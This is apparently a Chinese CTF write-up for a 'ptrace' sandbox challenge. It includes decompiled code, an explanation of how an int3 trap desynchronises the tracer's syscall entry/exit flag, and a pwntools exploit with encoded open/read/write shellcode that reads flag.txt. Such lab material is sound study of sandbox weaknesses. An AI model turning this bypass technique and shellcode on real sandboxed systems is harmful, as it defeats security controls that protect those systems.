Ptrace
二進制文件保護全開,使用了ptrace限制了可以使用的系統(tǒng)調(diào)用,具體的限制可以在main函數(shù)中看到:
main函數(shù):
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // eax
__pid_t v4; // eax
unsigned int v6; // ebx
char v7; // bp
const char *v8; // rsi
int stat_loc; // [rsp+Ch] [rbp-10Ch]
char v10; // [rsp+10h] [rbp-108h]
__int128 v11; // [rsp+70h] [rbp-A8h]
__int128 v12; // [rsp+80h] [rbp-98h]
unsigned __int64 v13; // [rsp+E8h] [rbp-30h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("************* Try to get flag in my ptrace sandbox! *************");
puts("* Give me your shellcode:");
v3 = fork();
if ( v3 < 0 )
{
v8 = "Fork error with code %d!\n";
__errno_location();
goto LABEL_24;
}
// 父進程中執(zhí)行的內(nèi)容
if ( v3 )
{
v6 = v3;
alarm(0x10u);
// wait 設置只等待v6的子進程,
// 第三個參數(shù)設置為 WNOHANG 則可以使調(diào)用者不阻塞,當前為阻塞父進程,等待子進程退出
waitpid(v6, &stat_loc, 0); // waitpid 的時候會被阻塞,當子進程(目標進程)的執(zhí)行被暫停或者子進程終止的時候,
// waitpid 函數(shù)會返回,然后同時獲得子進程(目標進程)的一些 status
v7 = 0;
v8 = "Wrong signal %#x recieved!\n";
if ( stat_loc != 4991 )
{
LABEL_24:
__printf_chk(1LL, v8);
exit(-1);
}
while ( 1 )
{
while ( 1 )
{
/*
形式:ptrace(PTRACE_SYS, pid, 0, signal)
描述:繼續(xù)執(zhí)行。pid表示被跟蹤的子進程,signal為0則忽略引起調(diào)試進程中止的信號,若不為0則繼續(xù)處理信號signal。
與PTRACE_CONT不同的是進行系統(tǒng)調(diào)用跟蹤。在被跟蹤進程繼續(xù)運行直到調(diào)用系統(tǒng)調(diào)用開始或結(jié)束時,被跟蹤進程被中止,并通知父進程。
PTRACE_SYSCALL 主要是便于在進入和退出syscall的時候檢測syscall的參數(shù)等
*/
if ( ptrace(PTRACE_SYSCALL, v6, 0LL, 0LL) ) //重新運行子進程。
{
__errno_location();
v8 = "PTRACE_SYSCALL error with code %d!\n";
goto LABEL_24;
}
waitpid(v6, &stat_loc, 0); // 阻塞的時候翻轉(zhuǎn)v7,認為處理完了return
if ( BYTE1(stat_loc) == 11 )
goto LABEL_22;
if ( (_BYTE)stat_loc != 127 )
{
puts("Take too long time!");
exit(-1);
}
if ( !v7 ) // 第一次會break,也就是說為0的話會break,進入ptrace過濾的部分
break;
v7 = 0;
}
if ( ptrace(PTRACE_GETREGS, v6, 0LL, &v10) )
goto LABEL_22;
if ( *((_QWORD *)&v12 + 1) != 9LL )
{
if ( *((_QWORD *)&v12 + 1) <= 9uLL )
{
if ( *((_QWORD *)&v12 + 1) <= 1uLL )
goto LABEL_19;
}
// 37是kill
else if ( *((_QWORD *)&v12 + 1) == 60LL || *((_QWORD *)&v12 + 1) == 231LL || *((_QWORD *)&v12 + 1) == 37LL )
{
goto LABEL_19;
}
// 不滿足過濾則將
__printf_chk(1LL, "Block syscall %lld\n");
// 注意這里是long long 類型的128位,也就是說會重置系統(tǒng)調(diào)用號為0
v11 = 0LL;
v12 = 0LL;
// 如果出錯就kill掉子進程
if ( ptrace(PTRACE_SETREGS, v6, 0LL, &v10) )
{
LABEL_22:
// kill 掉子進程
kill(v6, 9);
return 0LL;
}
},
LABEL_19:
v7 = 1; // 在while循環(huán)中, 記錄使用系統(tǒng)調(diào)用進入還是返回,為0則是進入
}
}
// 本進程被其父進程所跟蹤,此時程序不能被調(diào)試
ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
v4 = getpid();
// 獲取子進程pid,并發(fā)送信號將其stop掉
if ( kill(v4, 19) < 0 )
{
v8 = "Kill error with code %d!\n";
__errno_location();
goto LABEL_24;
}
sub_DF0();
return 0LL;
}
// 子進程阻塞 kill(v4,19)
// waitpid 返回
// ptrace syscall 繼續(xù)執(zhí)行
//
題目分析
ptrace沙箱繞過題目,主要考察的知識點在于對ptrace和waitpid、阻塞和進程的相關概念:
-
ptrace(PTRACE_SYS, pid, 0, signal)在被跟蹤進程中繼續(xù)運行,直到調(diào)用系統(tǒng)調(diào)用開始或結(jié)束時,被跟蹤進程被暫停,并通知父進程(被跟蹤進程收到任何信號(除SIGKILL)都會停止,將信號轉(zhuǎn)給跟蹤器(觸發(fā)wait))。 - waitpid函數(shù),調(diào)用waitpid 設置相應的參數(shù)時候當前進程會被阻塞,當子進程(目標進程)的執(zhí)行被暫?;蛘咦舆M程終止的時候,會繼續(xù)執(zhí)行
PTRACE_SYSCALL, PTRACE_SINGLESTEP
Restart the stopped tracee as for PTRACE_CONT, but arrange for
the tracee to be stopped at the next entry to or exit from a
system call, or after execution of a single instruction,
respectively. (The tracee will also, as usual, be stopped
upon receipt of a signal.) From the tracer's perspective, the
tracee will appear to have been stopped by receipt of a SIG‐
TRAP. So, for PTRACE_SYSCALL, for example, the idea is to
inspect the arguments to the system call at the first stop,
then do another PTRACE_SYSCALL and inspect the return value of
the system call at the second stop. The data argument is
treated as for PTRACE_CONT. (addr is ignored.)
程序的執(zhí)行流程:
- 父進程開始執(zhí)行 調(diào)用fork fork出子進程
- 在fork出的子進程中,調(diào)用
ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);此時程序不能被調(diào)試,然后調(diào)用kill(getpid(),19),向父進程發(fā)送一個sigstop信號量 - 父進程中調(diào)用ptrace重新運行子進程并再次使用waitpid阻塞,等待子進程執(zhí)行系統(tǒng)調(diào)用時候發(fā)來的信號傳輸?shù)絯aitpid函數(shù)中的status,進行系統(tǒng)調(diào)用的過濾
Ptrace沙箱繞過
- 根據(jù)ptrace_syscall的特性,當進入系統(tǒng)調(diào)用和退出系統(tǒng)調(diào)用的時候都會發(fā)出信號
- 因此設置了V7作為判斷是進入還是退出系統(tǒng)調(diào)用的flag
- 只有在進入的時候會break出第一個循環(huán),然后進行后續(xù)的filter
- 如果我們能夠翻轉(zhuǎn)該flag
- 將進程進入的時候認為是退出,則此時不會對系統(tǒng)調(diào)用進行過濾
- waitpid是阻塞當前進程,等待接收子進程的信號,因此如果單獨給父進程發(fā)送一個信號量,但是不執(zhí)行任何系統(tǒng)調(diào)用,比如連續(xù)發(fā)送兩個軟中斷,第一次會設置為1,則第二次會進入前邊一個while循環(huán)中出不來。類似如下偽代碼:
flag = False
while(1){
ptrace_syscall;
waitpid()
if (!flag){
//filter
flag = True
} else{
flag = False
}
}
本來syscall的進入和退出都是一對的,現(xiàn)在我先使用軟中斷進入filter進行判斷,會把其設置成True,然后再使用系統(tǒng)調(diào)用,此時會認為是退出狀態(tài)不做filter檢測,這樣就繞過了ptrace的沙箱。
user_regs_struct結(jié)構(gòu)
struct user_regs_struct
{
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx; // v11 bp-0xA8
unsigned long rdx;
unsigned long rsi; // v12 bp-0x98
unsigned long rdi; // v12 + 1
unsigned long orig_rax;
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
unsigned long fs_base;
unsigned long gs_base;
unsigned long ds;
unsigned long es;
unsigned long fs;
unsigned long gs;
};
其中幾個比較關鍵的系統(tǒng)調(diào)用號是:
64位
read 0
write 1
mmap 9
alarm 37
exit 60
exit_group 231
linux信號值
/*
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX
19是一種以編程方式發(fā)送的信號
20通常由用戶在鍵盤上輸入,通常是Control- Z
*/
exp
from pwn import *
import pwnlib.shellcraft as sc
import re
p = process("./ptrace")
# p = remote("124.16.75.161",40027)
# e = ELF("./ptrace")
context(os='linux',arch='amd64',log_level="debug")
p.recv()
# sub = subprocess.Popen('./a.out', shell=True, stdout=subprocess.PIPE)
# stdout_value, stderr_value = sub.communicate("")
# rand = hex(long(stdout_value))
# rand = '0x'+ rand[-2:]
shellcode = "int 3" + shellcraft.pushstr('flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor rdx, rdx /* 0 */
xor rsi, rsi /* 0 */
/* call open() */
xor rax, rax
mov rax, 2
syscall
'''
shellcode += shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100)
shellcode = asm(shellcode)
zz = [1362961854,247196614,490125681,1821600200,663564497,851120067,1032144666,379292314,1095058085,1072414002,1888930265,978602442,1608555725,1664343457,870446574,1268151209,2053709597,1366143462,231284293,1415307182,1465670779,837932423,1030255982,1781959270,895163495,37728456,1283394886,469644965,688851060,1682402631,229957252,2049414308,1291994784,1992507776,688956118,226408322,49344032,1800899526,791535526,142367739,1892858414,1307242697,1807587550,910536308,1345687993,953676466,1779722827,281042229,1340324363,1174770966,804946825,1668132063,963870702,1164701926,625574920,1010116308,1485186114,1761929928,1901922127,1172987537,1449925971,1905297130,593023617,1540316970,1505255699,919045247,1860036268,2070206155,1403270174,2024796635,1892980531,59657309,959921715,128124634,1972193458,1938477893,1317047840,34318572,821474829,2036975011,705273836,1383993873,457403247,402076421,916748998,282641729,483065148,297518637,605998316,978532050,309233502,959636726,99034040,481924634,528820998,790901367,2144193867,671118927,1299290218,1368554978,1280000476,357897170,167543300,1623621630,1817655156,879694493,944437394,2145269023,940377955,848445600,61506113,1646104576,1072522491,686871809,969460914,398741033,1981453843,167465173,768013411,980757823,1316569438,1935448114,961625806,1194025819,644553929,926774545,341415078,1879767336,776970574,1885219929,41713222,1858825750,89488815,936052574,1427306202,1719954367,636657464,737720420,2147160099,747390845,435971577,861670743,274394288,1069574069,521360469,1131442580,872786314,902885566,1750850912,789121164,1498808623,802052233,1028569692,604674240,75727781,1972481147,861117572,1213365950,783695074,2017070565,1621527342,1778538365,216805847,220145187,1098805999,735518618,1789953718,1370763541,1299911471,1756732357,629145292,1149289289,97588940,1555220137,1971651762,109708753,27729547,1933357444,1204563881,1154652377,1505032005,786795029,1652129219,333460683,1733406473,808585345,649082139,340108261,568056818,268547135,715728064,1486581793,611413940,1474951710,854920347,1753724704,946445367,220736611,1690927419,2029395227,1894124833,8618821,1911736714,1452167676,235359367,1604291655,511503689,2135153157,1686239344,1039204264,988361227,2035539688,1836681875,1821186041,538190961,1269720287,1319489379,1127563246,1799742757,449221432,1343628171,185195278,2124480171,1242240284,1278110168,397434096,1377167671,411865622,898691269,304775446,389009796,341395413,1114953687,1703133473,628683623,421441278,190350882,918256405,235659002,967989454,1970683595,1139382834,1282014684,377366126,886959811,1505937094,1583319761,510865933,1229180250,922122211,1807801867,1348791205,1875398431,10646886,742734601,1636708284]
payload = ""
for i in range(256):
if i < len(shellcode):
if ord(shellcode[i]) - int(hex(zz[i])[-2:], 16) < 0:
payload += chr(ord(shellcode[i]) - int(hex(zz[i])[-2:], 16) + 256)
else:
payload += chr(ord(shellcode[i]) - int(hex(zz[i])[-2:], 16))
else:
if ord('\x90') - int(hex(zz[i])[-2:], 16) < 0:
payload += chr(ord('\x90') - int(hex(zz[i])[-2:], 16) + 256)
else:
payload += chr(ord('\x90') - int(hex(zz[i])[-2:], 16))
p.send(payload)
# p.send(shellcode+(100-len(shellcode))*'0x90')
p.interactive()
參數(shù)鏈接:
- wait和waitpid https://blog.csdn.net/rl529014/article/details/51307250
- linux manual